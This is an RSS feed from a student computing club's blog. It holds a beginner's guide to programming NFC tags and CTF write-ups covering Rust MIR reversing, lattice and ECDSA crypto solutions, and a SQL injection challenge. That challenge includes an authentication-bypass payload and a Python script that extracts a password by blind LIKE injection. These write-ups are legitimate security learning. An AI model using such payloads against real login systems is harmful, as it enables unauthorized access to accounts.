<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[nush.app Blogposts]]></title><description><![CDATA[Featuring student-written articles on programming and internal events]]></description><link>https://nush.app</link><generator>RSS for Node</generator><lastBuildDate>Sat, 11 Jan 2025 09:27:22 GMT</lastBuildDate><atom:link href="https://nush.app/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><item><title><![CDATA[2024 AppVenture Y1 Initiation Gifts - NFC Tags, and how to use them]]></title><description><![CDATA[<p><img src="./appventure_logo.svg" alt="AppVenture Logo">{.left-align width=100}</p>
<p><em>by <strong>AppVenture</strong>, NUSH&#39;s Computer Science Interest Group</em></p>
<h2>Hi!</h2>
<p>Welcome to NUS High! We are AppVenture, NUSH&#39;s Computer Science Interest Group. Come down to our booth during IG Fair to learn more about us, and follow us on Instagram at <strong><a href="https://www.instagram.com/appventure_nush">@appventure_nush</a></strong> for interesting posts about computer science!</p>
<p>Or: browse this current website you are on, <a href="https://nush.app/">nush.app</a>, which is made and maintained by our members!</p>
<h2>What are NFC Tags?</h2>
<p>Near Field Communication (NFC) technology allows wireless communication between two electronic devices close to each other, at a distance of up to 1.5 inches (3.81 cm).</p>
<p>The most common example is communication between a device like a smartphone (active - has a power source) and a readable NFC tag (passive - no power source). This communication is possible because the reading device, often your smartphone, can generate a radio frequency (RF) field to power the tag. In Singapore, you can use your phone&#39;s NFC capabilities to pay for transit fares at the EZ-Link readers!</p>
<p>The NFC tag you&#39;re holding has many applications! Do your best to use this NFC tag in fun and interesting ways :)</p>
<p>Here&#39;s some example applications (we encourage you to come up with more!):</p>
<ol>
<li>Directing people to websites (like in this case), or launching applications</li>
<li>Contactless payments, similar to Google Pay and Apple Pay</li>
<li>Automating tasks, like connecting to Wi-Fi or Bluetooth networks, unlocking smart locks, authenticating (2FA) with security key, or triggering shortcuts/automation on your phone (eg. iOS Shortcuts, for Android you can use other 3rd party apps)</li>
<li>Creative purposes, like sharing media content, or creating digital business cards</li>
<li>Other cool stuff like setting focus modes, silencing your phone, controlling smart home accessories, playing your favorite music, or setting timers</li>
</ol>
<h2>How to program your NFC Tag</h2>
<p>The NFC tag you&#39;ve been given is a rewritable NFC tag: As long as you have an NFC tag writer application on your phone and NFC support on your phone, you can program it! Hence, you can reuse it for as many applications as you would like.</p>
<p><strong>You may need to go to your phone settings to enable NFC.</strong> If there is no NFC support in your settings and you can&#39;t get the tag to work, your phone may not support NFC: phones &geq; Android 10/iOS 13 should be supported (which is most phones made in the last 6 years).</p>
<p>To read/write the NFC tag, put the NFC tag on the back of your phone, near the camera area. If it doesn&#39;t work, try taking off your phone case or moving the NFC tag all over the back of your phone.</p>
<h3>For both Android and iOS</h3>
<p>Download the app &quot;<em>NFC TagWriter by NXP</em>&quot;. There are other NFC tag apps you can install that will work (and any will work), but this is among the most popular ones.
<img src="./tagwriter.png" alt="Tagwriter"></p>
<p><strong>The app has the below functions:</strong></p>
<ul>
<li><em>Read tags</em> &ndash; reads the content of the tag. Useful to check what information an unknown tag stores, and see if it&#39;s malicious or not</li>
<li><strong><em>Write tags</em></strong> &ndash; what we want to do. Writes new instructions/information to the tag.</li>
<li><em>Erase tags</em> &ndash; erases the contents of a tag</li>
<li><em>Protect tags</em> &ndash; sets a password on your tag to prevent anyone from just overwriting it, hence &quot;protecting&quot; it.</li>
</ul>
<p><em><strong>Warning</strong>: once you &quot;lock&quot; your tag (not &quot;protect&quot;), nobody (not even you) can write it again, and it will be read-only, so <strong>do not lock your tag</strong> unless you are very sure that you never want to edit it again!</em></p>
<p>If you&#39;re a fan of long PDFs, you can also refer to the official documentation <a href="https://inspire.nxp.com/tagwriter/tag-writer-user-manual.pdf">here</a>, for more advanced functionalities. If there&#39;s any feature you don&#39;t understand, we encourage you to search it online and find out for yourself!</p>
<h3>Simple writing guide</h3>
<p>Open TagWriter, and you should see the below screen.
<img src="./tagwriter_home.png" alt="Tagwriter Home Page"></p>
<p>&quot;Dataset&quot; refers to the instructions you want to give your NFC tag. The app automatically saves prior instructions in &quot;My datasets&quot;.</p>
<ol>
<li>Press &quot;Write tags&quot;, then press &quot;New dataset&quot; to start writing to your NFC tag.
<img src="./tagwriter_write_1.jpg" alt="Tagwriter Write Screen"></li>
<li>Choose what to write from a variety of options, and enjoy!
<img src="./tagwriter_write_2.jpg" alt="Tagwriter Write 2"></li>
</ol>
<p>If you have any queries or still can&#39;t get it to work, you can DM <strong><a href="https://www.instagram.com/appventure_nush">@appventure_nush</a></strong> on Instagram or email us at <a href="mailto:appventure@nushigh.edu.sg">appventure@nushigh.edu.sg</a>, or come to our booth during IG Fair! Tag us on Instagram to showcase your creative applications, or tell us during IG Fair :)</p>
<p>We hope you will explore more about NFC tags and use this NFC tag creatively. After all, experiment, explore, excel!</p>
<p>Signing off,<br/>
AppVenture Exco 2024<br/>
<img src="./appventure_logo.svg" alt="AppVenture Logo">{.left-align width=50}</p>
<p><em>The tags are <a href="https://www.amazon.sg/MATCHEASY-Waterproof-Rewritable-Compatible-Rectangular/dp/B0BZHZN7XM/ref=sr_1_3_sspa?adgrpid=98545307246&hvadid=587467106582&hvdev=c&hvlocphy=9062518&hvnetw=g&hvqmt=b&hvrand=11534621183993269782&hvtargid=kwd-299920919263&hydadcr=7631_340284&keywords=nfc%2B215&qid=1700834499&sr=8-3-spons&sp_csd=d2lkZ2V0TmFtZT1zcF9hdGY&th=1">here</a> if you want more product information.</em></p>
]]></description><link>https://nush.app/blog/2023/12/22/nfc-tags</link><guid isPermaLink="true">https://nush.app/blog/2023/12/22/nfc-tags</guid><pubDate>Fri, 22 Dec 2023 00:00:00 GMT</pubDate></item><item><title><![CDATA[CDDC 2023]]></title><description><![CDATA[<h2>In the middle of Rust</h2>
<p>Tags: rev</p>
<p>we are given a challenge.mir. Apparently <code>mir</code> (<em>mid-level</em> intermediate reprsentation) is a transient file that the rust compiler uses. It consists of many, many functions (<code>func001</code>, <code>func002</code>, <code>func003</code>, etc...), and a main function.</p>
<p>We decided to do the stupid thing and manually reverse it by hand, painstakingly.</p>
<p>Let&#39;s dig into the main function first:
It first defines like 120 variables, but we can worry about that later. the nested <code>scope{ }</code> are also all useless.</p>
<p>We see a lot of <code>bb0</code>, <code>bb1</code>, etc, those are <em>basic blocks</em> inside the <code>.mir</code> file. They represent a sequence of instructions or statements, and determine how the program flows. Let&#39;s start with <code>bb0</code> in <code>main</code>:</p>
<pre><code class="language-rust">bb0: {
    _1 = func001(const 126_u8) -&gt; bb1;
}
</code></pre>
<p>where <code>func001</code> is:</p>
<pre><code class="language-rust">fn func001(_1: u8) -&gt; u8 {
    debug ch =&gt; _1;
    let mut _0: u8;
    let mut _2: u8;
    let mut _3: (u8, bool);
    let mut _4: u8;
    let mut _5: u8;
    let mut _6: (u8, bool);
    let mut _7: (u8, bool);
    scope 1 {
        debug retn =&gt; _0;
    }

    bb0: {
        _0 = _1;
        _2 = _0;
        _3 = CheckedShr(_2, const 3_i32); // rshift _3 by 3
        assert(!move (_3.1: bool), &quot;attempt to shift right by `{}`, which would overflow&quot;, const 3_i32) -&gt; bb1;
    }

    bb1: {
        _0 = move (_3.0: u8);
        _5 = _0;
        _6 = CheckedMul(_5, const 4_u8); // multiply _5 by 4
        assert(!move (_6.1: bool), &quot;attempt to compute `{} * {}`, which would overflow&quot;, move _5, const 4_u8) -&gt; bb2;
    }

    bb2: {
        _4 = move (_6.0: u8);
        _7 = CheckedAdd(_4, const 7_u8); // add 7 to _4
        assert(!move (_7.1: bool), &quot;attempt to compute `{} + {}`, which would overflow&quot;, move _4, const 7_u8) -&gt; bb3;
    }

    bb3: {
        _0 = move (_7.0: u8);
        return;
    }
}
</code></pre>
<p>Which is basically:</p>
<pre><code class="language-rust">bb0: {
    _1 = (126 &gt;&gt; 3) * 4 + 7 -&gt; bb1; // 67
}
</code></pre>
<p>Now let&#39;s see <code>bb1</code>:</p>
<pre><code class="language-rust">bb1: {
    _3 = _1;
    _2 = move _3 as char (IntToInt);
    _4 = func002(const 51_u8) -&gt; bb2;
}
</code></pre>
<p>We see it makes a a char labelled <code>_2</code>, which I assume is the characters of the flag. It also tries to feed <code>bb2</code>, the next block, with <code>func002(51)</code>, which will later become another character in the flag. From now on we just focused on evaluating these <code>funcxxx()</code> and its output.</p>
<p>The next several functions are all elementary ones, comprising of addition, subtraction, multiplication, division, and bitwise operators.</p>
<p>The next different one is <code>func010</code>:</p>
<pre><code class="language-rust">fn func010(_1: u8) -&gt; u8 {
    debug ch =&gt; _1;
    let mut _0: u8;
    let mut _2: std::ops::Range&lt;i32&gt;;
    let mut _3: std::ops::Range&lt;i32&gt;;
    let mut _5: std::option::Option&lt;i32&gt;;
    let mut _6: &amp;mut std::ops::Range&lt;i32&gt;;
    let mut _7: isize;
    let mut _8: (u8, bool);
    scope 1 {
        debug retn =&gt; _0;
        let mut _4: std::ops::Range&lt;i32&gt;;
        scope 2 {
            debug iter =&gt; _4;
        }
    }

    bb0: {
        _0 = _1;
        _3 = std::ops::Range::&lt;i32&gt; { start: const 0_i32, end: const 10_i32 };  // loop of count 10
        _2 = &lt;std::ops::Range&lt;i32&gt; as IntoIterator&gt;::into_iter(move _3) -&gt; bb1;
    }

    bb1: {
        _4 = move _2;
        goto -&gt; bb2;
    }

    bb2: {
        _6 = &amp;mut _4;
        _5 = &lt;std::ops::Range&lt;i32&gt; as Iterator&gt;::next(_6) -&gt; bb3;
    }

    bb3: {
        _7 = discriminant(_5);
        switchInt(move _7) -&gt; [0: bb6, 1: bb4, otherwise: bb5];
    }

    bb4: {
        _8 = CheckedAdd(_0, const 1_u8); // add one
        assert(!move (_8.1: bool), &quot;attempt to compute `{} + {}`, which would overflow&quot;, _0, const 1_u8) -&gt; bb7;
    }

    bb5: {
        unreachable;
    }

    bb6: {
        return;
    }

    bb7: {
        _0 = move (_8.0: u8);
        goto -&gt; bb2;
    }
}
</code></pre>
<p>It is essentially a for loop of 10, and each time it loops <code>_0</code> gets incremented by 1 (via <code>_8</code>)
Therefore <code>func010(109) = 119</code> which corresponds to <code>&#39;w&#39;</code></p>
<p>The next several functions are also elementary ones, comprising of addition, subtraction, multiplication, division, and bitwise operators, and also exponentiation.</p>
<p>The next different one is <code>func018</code>:</p>
<pre><code class="language-rust">fn func018(_1: u8) -&gt; u8 {
    debug ch =&gt; _1;
    let mut _0: u8;
    let mut _3: u8;
    let mut _4: usize;
    let mut _5: u8;
    let mut _6: (u8, bool);
    scope 1 {
        debug retn =&gt; _0;
        let _2: &amp;str;
        scope 2 {
            debug s =&gt; _2;
        }
    }

    bb0: {
        _0 = _1;
        _2 = const &quot;fightingkeepgoing&quot;;
        _4 = core::str::&lt;impl str&gt;::len(_2) -&gt; bb1; // gets string length (17)
    }

    bb1: {
        _3 = move _4 as u8 (IntToInt);
        _5 = _0;
        _6 = CheckedAdd(_3, _5); // input + 17
        assert(!move (_6.1: bool), &quot;attempt to compute `{} + {}`, which would overflow&quot;, move _3, move _5) -&gt; bb2;
    }

    bb2: {
        _0 = move (_6.0: u8);
        return;
    }
}
</code></pre>
<p>It creates a string <code>&quot;fightingkeepgoing&quot;</code>, gets the length of the string (17) and adds it to the input.
Hence <code>func018(50) = 67</code> which as a char is <code>&#39;C&#39;</code>.</p>
<p><code>func020</code> is almost the same as <code>func010</code> except it increments by 3 each time instead of 1, therefore <code>func020(54) = 84</code> which is <code>&#39;T&#39;</code>.</p>
<p>The next different function is <code>func030</code>:</p>
<pre><code class="language-rust">fn func030(_1: u8) -&gt; u8 {
    debug ch =&gt; _1;
    let mut _0: u8;
    let mut _3: (i32, bool);
    let mut _4: (u8, bool);
    let mut _5: i32;
    scope 1 {
        debug retn =&gt; _0;
        let mut _2: i32;
        scope 2 {
            debug chk =&gt; _2;
        }
    }

    bb0: {
        _0 = _1;
        _2 = const 0_i32;
        goto -&gt; bb1;
    }

    bb1: {
        _3 = CheckedAdd(_2, const 1_i32);
        assert(!move (_3.1: bool), &quot;attempt to compute `{} + {}`, which would overflow&quot;, _2, const 1_i32) -&gt; bb2;
    }

    bb2: {
        _2 = move (_3.0: i32);
        _4 = CheckedAdd(_0, const 1_u8);
        assert(!move (_4.1: bool), &quot;attempt to compute `{} + {}`, which would overflow&quot;, _0, const 1_u8) -&gt; bb3;
    }

    bb3: {
        _0 = move (_4.0: u8);
        _5 = _2;
        switchInt(move _5) -&gt; [8: bb4, otherwise: bb1];
    }

    bb4: {
        return;
    }
}
</code></pre>
<p><code>_2</code> is initialized at 0.
<code>bb1</code> and <code>bb2</code> increments <code>_2</code> and <code>_0</code> by 2 each time, and <code>bb3</code> checks if <code>_2</code> is 8. So the end result is the input incremented by 8. Therefore <code>func030(100) = 108</code> which is <code>&#39;1&#39;</code></p>
<p>The last weird function is <code>func033</code>;</p>
<pre><code class="language-rust">fn func033(_1: u8) -&gt; u8 {
    debug ch =&gt; _1;
    let mut _0: u8;
    let mut _2: std::ops::Range&lt;i32&gt;;
    let mut _3: std::ops::Range&lt;i32&gt;;
    let mut _5: std::option::Option&lt;i32&gt;;
    let mut _6: &amp;mut std::ops::Range&lt;i32&gt;;
    let mut _7: isize;
    let mut _9: i32;
    let mut _10: (u8, bool);
    scope 1 {
        debug retn =&gt; _0;
        let mut _4: std::ops::Range&lt;i32&gt;;
        scope 2 {
            debug iter =&gt; _4;
            let _8: i32;
            scope 3 {
                debug i =&gt; _8;
            }
        }
    }

    bb0: {
        _0 = _1;  // 106
        _3 = std::ops::Range::&lt;i32&gt; { start: const 0_i32, end: const 10_i32 };
        _2 = &lt;std::ops::Range&lt;i32&gt; as IntoIterator&gt;::into_iter(move _3) -&gt; bb1;

    }

    bb1: {
        _4 = move _2;
        goto -&gt; bb2;
    }

    bb2: {
        _6 = &amp;mut _4;
        _5 = &lt;std::ops::Range&lt;i32&gt; as Iterator&gt;::next(_6) -&gt; bb3;
    }

    bb3: {
        _7 = discriminant(_5);
        switchInt(move _7) -&gt; [0: bb6, 1: bb4, otherwise: bb5];
    }

    bb4: {
        _8 = ((_5 as Some).0: i32);
        _9 = Rem(_8, const 2_i32);
        switchInt(move _9) -&gt; [0: bb7, otherwise: bb2];
    }

    bb5: {
        unreachable;
    }

    bb6: {
        return;
    }

    bb7: {
        _10 = CheckedAdd(_0, const 1_u8);
        assert(!move (_10.1: bool), &quot;attempt to compute `{} + {}`, which would overflow&quot;, _0, const 1_u8) -&gt; bb8;
    }

    bb8: {
        _0 = move (_10.0: u8);
        goto -&gt; bb2;
    }
}
</code></pre>
<p>This can be re-written as:</p>
<pre><code class="language-js">func033(input){
    for (let i = 0;i &lt; 10;i++){
        if(i%2 == 0){
            input += 1
        }
    }
}
</code></pre>
<p>Therefore <code>func033(106) = 111</code> which is <code>&#39;o&#39;</code></p>
<p>Final flag: <code>CDDC2023{w0w_YOU_CuT_cR4b_Be1ly_oP3N}</code></p>
<h2>Are you admin</h2>
<p>Tags: web</p>
<blockquote>
<p>Login with the admin !
<a href="http://52.78.16.36:8881/web1/index.php">http://52.78.16.36:8881/web1/index.php</a></p>
</blockquote>
<p>So we are given a username and password field. I tried username <code>admin</code> and password <code>&#39; or 1=1;#</code> and it worked - it just said &quot;Hello admin&quot; - so it is vulnerable to SQL Injection</p>
<p>I assumed that the query was something like this:</p>
<pre><code class="language-SQL">SELECT &lt;thing&gt; FROM &lt;thetable&gt; WHERE id = &#39;{id}&#39; AND pw = &#39;{pw}&#39;;
</code></pre>
<p>We see that the url is <code>http://52.78.16.36:8881/web1/?id=admin&amp;pw=password</code>, so the column name is probably <code>pw</code>, so we can inject:</p>
<pre><code>&#39; or 1=1 or pw LIKE &#39;%&#39;;#
</code></pre>
<p>We then replace the <code>%</code> with increasingly many <code>_</code> until we find one that matches - oh wait it says &quot;no hack&quot;, so that probably does not work. Whatever since <code>%</code> is not filtered lets use that to get the password:</p>
<pre><code class="language-python">import requests
base = &quot;http://52.78.16.36:8881/web1/&quot;

arr = []
id = 40
print(f&quot;base url: {base}&quot;)
while True:
    char = chr(id)
    pw = f&quot;&#39; OR pw LIKE &#39;{&#39;&#39;.join(arr)}{char}%&#39;;#&quot;
    params = {&#39;id&#39;: &#39;admin&#39;, &#39;pw&#39;: pw}
    res = requests.get(base, params=params)
    if id == 127:
        print(&quot;end: &quot;+pw)
        break
    elif &#39;Hello admin&#39; in res.text:
        arr.append(char)
        id = 40
        print(&quot;Correct: &quot;+pw)
    else:
        print(&quot;Wrong: &quot;+pw)
        id += 1
</code></pre>
<p>the result is <code>end: &#39; OR pw LIKE &#39;ADMIN123PW⌂%&#39;;#</code>, and ignoring the last few bits we get <code>ADMIN123PW</code>, but that still doesnt give us the flag. Since <code>LIKE</code> is not case-senstive, and we can&#39;t using <code>SUBSTRING</code> since I dont know the table name, we can only try for different combinations of upper and lowercase. I tried all lowercase instead (i.e. <code>admin123pw</code>) and I got the flag.</p>
]]></description><link>https://nush.app/blog/2023/07/05/CDDC-2023</link><guid isPermaLink="true">https://nush.app/blog/2023/07/05/CDDC-2023</guid><pubDate>Wed, 05 Jul 2023 00:00:00 GMT</pubDate></item><item><title><![CDATA[SeeTF 2023 Writeups]]></title><description><![CDATA[<h2>Onelinecrypto</h2>
<p>Category: Crypto</p>
<p>Entire Challenge:</p>
<h2>How to bypass this line?</h2>
<pre><code class="language-py">assert __import__(&#39;re&#39;).fullmatch(r&#39;SEE{\w{23}}&#39;,flag:=input()) and not int.from_bytes(flag.encode(),&#39;big&#39;)%13**37
</code></pre>
<p>The assert statement will return an error if the condition given is not fulfilled otherwise nothing is returned. The first part of the condition is doing a regex match of the form <code>SEE{\w{23}}</code>, thus the flag contains 23 characters in the curly braces. The second part of the condition ensures that the flag is divisible by $13^{37}$ in long form.</p>
<p>I actually tried a lot of things at first like brute force and greedy from right to left, but they didn&#39;t even come close</p>
<p>The first realisation comes when I realised that a bytestring <code>b&#39;abc&#39;</code> can be represented as</p>
<p>$2^{16}\cdot$ <code>b&#39;a&#39;</code>$+2^8\cdot$ <code>b&#39;b&#39;</code> $+2^0 \cdot$ <code>b&#39;c&#39;</code></p>
<p>so essentially you are trying to solve for</p>
<p><code>b&#39;SEE{...}&#39;</code> $ + \sum_{i=1}^{23} 2^{8i} x_I \equiv 0 \pmod{13^{37}}$</p>
<p>where all of $x_i$ satisfies <code>\w</code></p>
<p>By default I would have no idea how to implement this and it kinda looks impossible, but when trying this challenge I remembered hearing a lot of stuff about LLL to solve equations and I wanted to join in on the fun</p>
<p>So understanding LLL was quite the learning curve but essentially what it does is, given a lattice basis</p>
<p>$$
\begin{bmatrix}
    1 &amp; 1 &amp; 1\
    -1 &amp; 0 &amp; 2\
    3 &amp; 5 &amp; 6
\end{bmatrix}
$$</p>
<p>it will find multiple sets of (nonzero?) integers $a, b, c$ such that</p>
<p>$$
a \begin{bmatrix}
    1 &amp; 1 &amp; 1
\end{bmatrix} + b \begin{bmatrix}
    -1 &amp; 0 &amp; 2
\end{bmatrix} + c \begin{bmatrix}
    3 &amp; 5 &amp; 6
\end{bmatrix}
$$</p>
<p>is as &quot;short&quot; as possible, i.e. minimize the abs of all the values</p>
<p>This is definitely not totally correct but I havent fully figured it out</p>
<p>anyways we can try to get LLL to help us find $x_i$ for us to make the total $\pmod{13^{37}}$ as close as possible to 0.</p>
<p>Usually to minimize $ax_1 + bx_2 + cx_3$ you can use the matrix</p>
<p>$$
\begin{bmatrix}
    1 &amp; 0 &amp; 0 &amp; x_1\
    0 &amp; 1 &amp; 0 &amp; x_2\
    0 &amp; 0 &amp; 1 &amp; x_3
\end{bmatrix}
$$</p>
<p>which would return some vectors looking like</p>
<p>$$\begin{bmatrix}a &amp; b &amp; c &amp; ax_1 + bx_2 + cx_3 \end{bmatrix}$$</p>
<p>, so similarly, here we can do</p>
<p>$$
\begin{bmatrix}
    1 &amp; 0 &amp; 0 &amp; \dots  &amp; 0 &amp; 2^{8 \cdot 23}  \
    0 &amp; 1 &amp; 0 &amp; \dots  &amp; 0 &amp; 2^{8 \cdot 22} \
    0 &amp; 0 &amp; 1 &amp; \dots  &amp; 0 &amp; 2^{8 \cdot 21} \
    \vdots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots \
    0 &amp; 0 &amp; 0 &amp; \dots  &amp; 1 &amp; 2^{8 \cdot 1} \
\end{bmatrix}
$$</p>
<p>but since we are taking this $\pmod{13^{37}}$ we simply add another row to automatically reduce any result as such:</p>
<p>$$
\begin{bmatrix}
    1 &amp; 0 &amp; 0 &amp; \dots  &amp; 0 &amp; 2^{8 \cdot 23}  \
    0 &amp; 1 &amp; 0 &amp; \dots  &amp; 0 &amp; 2^{8 \cdot 22} \
    0 &amp; 0 &amp; 1 &amp; \dots  &amp; 0 &amp; 2^{8 \cdot 21} \
    \vdots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots \
    0 &amp; 0 &amp; 0 &amp; \dots  &amp; 1 &amp; 2^{8 \cdot 1} \
    0 &amp; 0 &amp; 0 &amp; \dots  &amp; 0 &amp; -13^{37} \
\end{bmatrix}
$$</p>
<p>but now we have to consider how we initially have the bits of <code>SEE{}</code> which we will use $c$ to represent. we need to add this to the final column, but the problem is, how do we ensure that this vector will be multiplied by 1?</p>
<p>The way I did this is to basically &quot;reward&quot; it by adding $-1$ to the identity part of the matrix so that if it adds this row once those parts will &quot;cancel&quot; out nicely(unsure if needed). I also added another column so that I can check if this was added once</p>
<p>$$
\begin{bmatrix}
    1 &amp; 0 &amp; 0 &amp; \dots  &amp; 0 &amp; 0 &amp; 2^{8 \cdot 23}  \
    0 &amp; 1 &amp; 0 &amp; \dots  &amp; 0 &amp; 0 &amp; 2^{8 \cdot 22} \
    0 &amp; 0 &amp; 1 &amp; \dots  &amp; 0 &amp; 0 &amp; 2^{8 \cdot 21} \
    \vdots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots \
    0 &amp; 0 &amp; 0 &amp; \dots  &amp; 1 &amp; 0 &amp; 2^{8 \cdot 1} \
    0 &amp; 0 &amp; 0 &amp; \dots  &amp; 0 &amp; 0 &amp; -13^{37} \
    -1 &amp; -1 &amp; -1 &amp; \dots  &amp; -1 &amp; 1 &amp; c \
\end{bmatrix}
$$</p>
<p>This way, if LLL finds a vector ending with $\begin{bmatrix}1&amp;0\end{bmatrix}$, i&#39;ll know $c$ was only added once as that column only has a nonzero element in that row, and i&#39;ll also know that a valid solution for $x_i$ was found as the final column sums to 0.</p>
<p>But as inspired by the example given on the wikipedia page for LLL, the sum of the final column being 0 matters a LOT, and is actually the only sum we care to minimize (other than keeping the 2nd last column at 1), so what we can do is multiply a weight to this column to make it more important to minimize.</p>
<p>So, after doing testing, the first weights that worked for me was $2^{8*23}$ for the last 2 columns and $1$ for everything else. the implementation(sage):</p>
<pre><code class="language-py">start = (2**(8*24) * bytes_to_long(b&quot;SEE{&quot;) + bytes_to_long(b&quot;}&quot;))
W = diagonal_matrix([1]*23 + [2^(8*23), 2^(8*23)])
I = Matrix.identity(23)
right1 = Matrix([0] * 23).T
right2 = Matrix([2^(8*i) for I in range(1, 24)]).T
bottom1 = Matrix([0] * 23 + [0, -13^37])
bottom2 = Matrix([-1] * 23 + [1, start])
L = i.augment(right1).augment(right2).stack(bottom1).stack(bottom2)
sol = (L*W).LLL()/W
for I in sol:
    print(i)
</code></pre>
<p>and we actually get a row ending with $\begin{bmatrix}1&amp;0\end{bmatrix}$, the final row, <code>(-19, 6, 1, -23, -3, -26, -6, -6, -16, 17, -24, -48, 16, 13, -22, -1, 11, 23, -38, 12, 6, 23, 7, 1, 0)</code>.</p>
<p>To get the solution from here we re-add the 1 subtracted in the last row to the first 23 numbers</p>
<p>but anyways this still isnt the solution. quite obviously the values of $x_i$ here go into the negatives which dont make valid characters for the flag. what characters are even valid anyway?</p>
<pre><code class="language-py">good=&quot;&quot;
for I in string.printable:
    if __import__(&#39;re&#39;).fullmatch(r&#39;\w&#39;, i):
        good+=i
</code></pre>
<p><code>0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_</code></p>
<p>Yeah this is not a lot to work with but whatever. anyways, to make the values obtained more positive and around these values, I realised that since they are currently kind of distributed around 0, and I have to add 1 to compensate for the last row, what if I just make it so I have to add a lot more?</p>
<p>Essentially, set those values to not -1 but like -90, so that after adding 90 I get nice values. doing this and adding back 90, we get the values</p>
<p><code>116, 76, 65, 94, 109, 94, 73, 93, 79, 75, 96, 109, 73, 75, 108, 68, 89, 46, 111, 58, 92, 46, 63</code> which are way nicer and almost look correct. but actually, 9 of these numbers are invalid characters</p>
<p>From here, real hell began where I had to keep changing the offsets here and the weights to try to magically get a valid set of values. however, for unexplainable reasons I kept getting rows with 1 bad value (of 140 most of the time). this is probably because the challenge was set to make it so it was barely possible to find a valid string</p>
<p>Anyways after much experimentation, the final code that found the flag for me was</p>
<pre><code class="language-py">found = False
while not found:
    offsets = [-93] * 23
    W = diagonal_matrix([random.choice([9/10, 1, 11/10]) for _ in range(23)] + [2^(3), 2^(7)])
    I = Matrix.identity(23)
    right1 = Matrix([0] * 23).T
    right2 = Matrix([2^(8*i) for I in range(1, 24)]).T
    bottom1 = Matrix([0] * 23 + [0, -13^37])
    bottom2 = Matrix(offsets + [1, start])
    L = i.augment(right1).augment(right2).stack(bottom1).stack(bottom2)
    sols = (L*W).LLL()/W
    for row in sols:
        if row[-2] == 1 and row[-1]==0:
            count = count3(row[:-2], offsets)
            if count==0:
                print(row[:-2])
                print(&quot;SEE{&quot; + &quot;&quot;.join([chr(row[:-2][x]-offsets[x]) for x in range(len(row[:-2]))])[::-1] + &quot;}&quot;)
                found=True
            else:
                print(&quot;row:&quot; + str(row))
                print(&quot;offsets:&quot; + str(offsets))
                print(&quot;count:&quot; + str(count))
</code></pre>
<p>giving <code>SEE{luQ5xmNUKgEEDO_c5LoJCum}</code> eventually.</p>
<h2>Semaphore</h2>
<p>Category: Crypto</p>
<p>They give:</p>
<pre><code class="language-py">import ecdsa # https://pypi.org/project/ecdsa/
import os

flag = os.environ.get(&#39;FLAG&#39;, &#39;SEE{not_the_real_flag}&#39;).encode()

sk = ecdsa.SigningKey.generate()
for nibble in flag.hex():
    signature = sk.sign(flag + nibble.encode())
    print(signature.hex())
</code></pre>
<p>Basically, for every digit in the flag&#39;s hex, they append that digit to the flag and then sign it with ecdsa, and print the signature. The thing is,</p>
<ol>
<li>Signatures are not meant to encrypt a message</li>
<li>The fact that they randomly append a digit to the flag every time is highly suspicious</li>
</ol>
<p>So doing a little bit of testing we can see that</p>
<pre><code class="language-py">flag = b&quot;SEE{&quot;
for nibble in flag.hex():
    print(flag + nibble.encode())
&quot;&quot;&quot;
b&#39;SEE{5&#39;
b&#39;SEE{3&#39;
b&#39;SEE{4&#39;
b&#39;SEE{5&#39;
b&#39;SEE{4&#39;
b&#39;SEE{5&#39;
b&#39;SEE{7&#39;
b&#39;SEE{b&#39;
&quot;&quot;&quot;
</code></pre>
<p>There are only 16 digits in hex and they get repeated quite often, so we are signing the same message in some cases, but how to use this to our advantage?</p>
<p>ECDSA:</p>
<p>$$r = (kG).x$$</p>
<p>$$s = k^{-1} (h + rd)$$</p>
<p>where k is a random nonce generated, h is the hashed message, and d is the private key</p>
<p>When comparing between two signatures of the same message, we can see that h and d remain the same, while r is known. so, how to deal with k? Seeing that we have $k$ and $k^{-1}$, yeah its quite obvious</p>
<p>$$R * s = kG * k^{-1} (h + rd) = G (h+rd)$$</p>
<p>Now, between two signatures of the same message, the only different variable is r, hence we can expect</p>
<p>$$s_1 - s_2 = G (h+r_1 d) - G(h+r_2 d) = G(r_1-r_2)d$$</p>
<p>You can use this to basically identify each character by comparing it to a signature of that character, and checking whether the difference multiplied by $(r_1-r_2)^{-1}$ is $Gd$, which is the same throughout</p>
<p>first compare to existing characters in SEE{}:</p>
<pre><code class="language-py">p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
K = GF(p)
a = K(0xfffffffffffffffffffffffffffffffefffffffffffffffc)
b = K(0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1)
E = EllipticCurve(K, (a, b))
G = E(0x188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012, 0x07192b95ffc8da78631011ed6b24cdd573f977a11e794811)
E.set_order(0xffffffffffffffffffffffff99def836146bc9b1b4d22831 * 0x1)
n = E.order()

sigs = []
for i in output.split(&quot;\n&quot;):
    sigs.append(ecdsa.util.sigdecode_string(bytes.fromhex(i), order = E.order()))
sigs

#5345357b...
r1, s1 = sigs[0]
r2, s2 = sigs[3]
r3, s3 = sigs[2]
r4, s4 = sigs[4]
assert (E.lift_x(ZZ(r1)) * s1 - E.lift_x(ZZ(r2)) * s2) * pow(r1 - r2, -1, n)==(E.lift_x(ZZ(r3)) * s3 - -E.lift_x(ZZ(r4)) * s4) * pow(r3 - r4, -1, n)
Gd = (E.lift_x(ZZ(r1)) * s1 - E.lift_x(ZZ(r2)) * s2) * pow(r1 - r2, -1, n)

flag = list(b&quot;SEE{&quot;.hex() + (len(sigs)-10) * &quot;.&quot; + b&quot;}&quot;.hex())
for i in tqdm([0,1,2,3,4,5,6,7,-2,-1]):
    r1, s1 = sigs[i]
    for j in range(len(sigs)):
        r2, s2 = sigs[j]
        a = E.lift_x(ZZ(r1)) * s1
        b = E.lift_x(ZZ(r2)) * s2
        try:
            thes = [(a-b) * pow(r1 - r2, -1, n), (a+b) * pow(r1 - r2, -1, n), (-a-b) * pow(r1 - r2, -1, n), (-a+b) * pow(r1 - r2, -1, n)]
        except Exception as e:
            continue
        if Gd in thes:
            flag[j] = flag[i]
</code></pre>
